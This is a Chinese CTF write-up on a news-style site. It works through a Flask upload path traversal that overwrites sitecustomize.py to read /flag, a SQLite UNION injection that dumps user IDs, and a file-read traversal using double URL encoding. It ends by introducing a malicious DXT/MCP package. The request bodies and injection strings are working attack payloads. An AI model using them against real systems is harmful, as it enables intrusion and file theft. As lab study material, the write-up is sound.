当前位置: 首页 > news >正文

简单代码审计

file = request.files['file'] # 从请求参数或文件名获取保存路径 filename = request.form.get('filename') or file.filename # 路径穿越漏洞! save_path = os.path.join(UPLOAD_FOLDER, filename) # 创建目录 save_dir = os.path.dirname(save_path)
  1. filename可控(通过request.form.get('filename')
  2. os.path.join可能存在路径穿越

考虑覆盖sitecustomize.py

我们可以通过一段命令查看路径

import site import sys print("site:", site.getsitepackages())#存放第三方库的位置 print("sys.path:", sys.path)#加载模块的路径列表 #回显 #site: ['/usr/local/lib/python3.10/site-packages'] #sys.path: ['/app', '/usr/local/lib/python310.zip', '/usr/local/lib/python3.10', '/usr/local/lib/python3.10/lib-dynload', '/usr/local/lib/python3.10/site-packages']

或者ai说还有一个规则:

Linux 中,Python 的第三方包目录永远是这个格式

/usr/local/lib/pythonX.Y/site-packages/

X.Y=大版本号(只取前两位,3.10.19 → 3.10)

创建恶意sitecustomize.py并上传

import os print(open('/flag').read())
------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; name="file"; filename="1.py" Content-Type: image/jpeg import os print(open('/flag').read()) ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb Content-Disposition: form-data; name="filename" ../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py ------geckoformboundary3c9412bd20120f86ad0e5f9e21ad00bb-- #回显 #成功上传至: /app/uploads/../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py

然后执行任意文件就拿到flag了

同样的,除了sitecustomize.py我们还可以用usercustomize.py

但是要注意路径不一样

import site print(site.getusersitepackages()) #回显 #/home/ctf/.local/lib/python3.10/site-packages

其余步骤与前者相同

Broken Trust

题目

某FlaskWeb应用提供了一个仅管理员可访问的备份读取接口。

神通广大的CTFer是否能发现逻辑缺陷,拿到敏感文件呢

注册拿uid登录,发现有特定的工具但是Only users with the admin role can access the backup interface.

发现cooki中有

session=eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0

尝试爆破

flask-unsign --unsign --cookie "eyJyb2xlIjoidXNlciIsInVpZCI6Ijk1OTY2YzI0YTI0MzQwMjU5NWQ2MDIxMjkwNTU4YTc5IiwidXNlcm5hbWUiOiJhYWEifQ.ac8pHA.beGJyhdag0KL8k_Z2lJHUS1iJD0" --wordlist E:\字典\flask_secrets.txt

失败

源代码提取不到什么信息

抓包探索一下功能

发现Refresh Session Data功能会把uid POST给/api/profile,而我们知道profile一般和用户配置文件有关,并且返回内容是我们注册时的名称,可能有查询功能,考虑下sql?

尝试在UID参数中添加单引号:

{"uid":"95966c24a243402595d6021290558a79'"} 回显 {"details":"unrecognized token: \"'95966c24a243402595d6021290558a79''\"","error":"Database error"}

提到了database error数据库错误

测试回显:

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,3 --"} 回显 {"role":3,"uid":1,"username":2}

尝试不同数据库的获取版本的语句

{"uid":"95966c24a243402595d6021290558a79' union select sqlite_version(),2,3-- -"} 回显 {"role":3,"uid":"3.34.1","username":2}

确定是sqlite

爆数据库内容

{"uid":"95966c24a243402595d6021290558a79' union select 1,2,(select group_concat(uid) from users)--"} 回显 {"role":"72adb8bc58dc4028bc694124095b111a,95966c24a243402595d6021290558a79","uid":1,"username":2}

我们的uid是95966...另一个应该就是admin了

拿uid去登录,admin专属工具是一个任意文件读取

/api/admin?action=backup&file=config.json

我们尝试路径遍历

....读不到flag,猜测有过滤

尝试双重url编码(双写../也可以)

../../../flag %252e%252e%252f%252e%252e%252f%252e%252e%252f%2566%256c%2561%2567

拿到flag

DXT

前置知识

什么是DXT文件?

DXT是一种用于打包和分发MCP(Model Context Protocol)服务的文件格式。

DXT文件结构

DXT文件本质上是一个ZIP压缩包,包含:

evil.dxt (ZIP文件) ├── manifest.json # 配置文件 └── dummy.txt # 占位文件
http://www.cnnetsun.cn/news/2994777.html

相关文章:

  • 为什么现在所有大厂都在做 CLI ?(附Cluade Code接入飞书CLI教程)
  • 进程、线程、协程与Java虚拟线程
  • Dify、Cursor、Chatbox、Cherry Studio 怎么统一接入:Base URL、模型 ID 和 API Key 验收清单
  • 卵巢早衰备孕还有机会吗
  • 用 Typeoff 口述代码思路:从原始想法到结构化 Markdown
  • AVR单片机内部温度传感器校准指南:从原理到单点/两点校准实践
  • XMEGA A3BU嵌入式开发实战:低功耗、高精度ADC与时钟系统深度优化
  • ATtiny88 SPI与TWI通信接口:寄存器级配置与实战避坑指南
  • 嵌入式安全芯片HAL层开发指南:从CryptoAuthLib原理到STM32实战
  • ATmega单片机端口复用:从GPIO到SPI/ADC/中断的实战配置与冲突解决
  • ATmega164P/324P/644P嵌入式实战:选型、低功耗与汽车级应用
  • CD5283/CD5314电流调节器芯片:从恒流原理到PCB设计实战
  • 备孕期为什么要补充维生素b?高仕星维生素b帮你打好营养基础
  • Curiosity Nano Base硬件平台:标准化连接如何提升嵌入式开发效率
  • ARM7TDMI编程模型与Thumb指令集:嵌入式开发的底层基石
  • 天峰律政代表的合规公关派正在重塑行业服务标准
  • KA Music:酷狗概念版纯净轻量替代品,无损音质免费畅听
  • Go语言的sync.Map条件操作
  • 理解「数据网格」(Data Mesh)及其对数据平台架构的影响
  • 分布式系统一致性算法详解
  • 软件直方图管理化的分布分析
  • khmer开发者手册:贡献代码与扩展功能的完整流程
  • SongGeneration:用AI技术让音乐创作触手可及
  • 从零开始构建高效知识库:OB_Template模板库完整指南
  • Winboat启动故障深度解析:5种常见场景与高效解决方案
  • 构建企业级智能知识引擎:WeKnora RAG架构深度解析与部署实践
  • 3步快速修复BMS锁定电池:Open Battery Information终极指南
  • 终极PT助手:PT-Plugin-Plus浏览器插件完整使用指南
  • 如何为Newton物理引擎定制渲染管线:从原理到实战
  • 3分钟搞定M3U8下载:Fluent M3U8让你的视频保存如此简单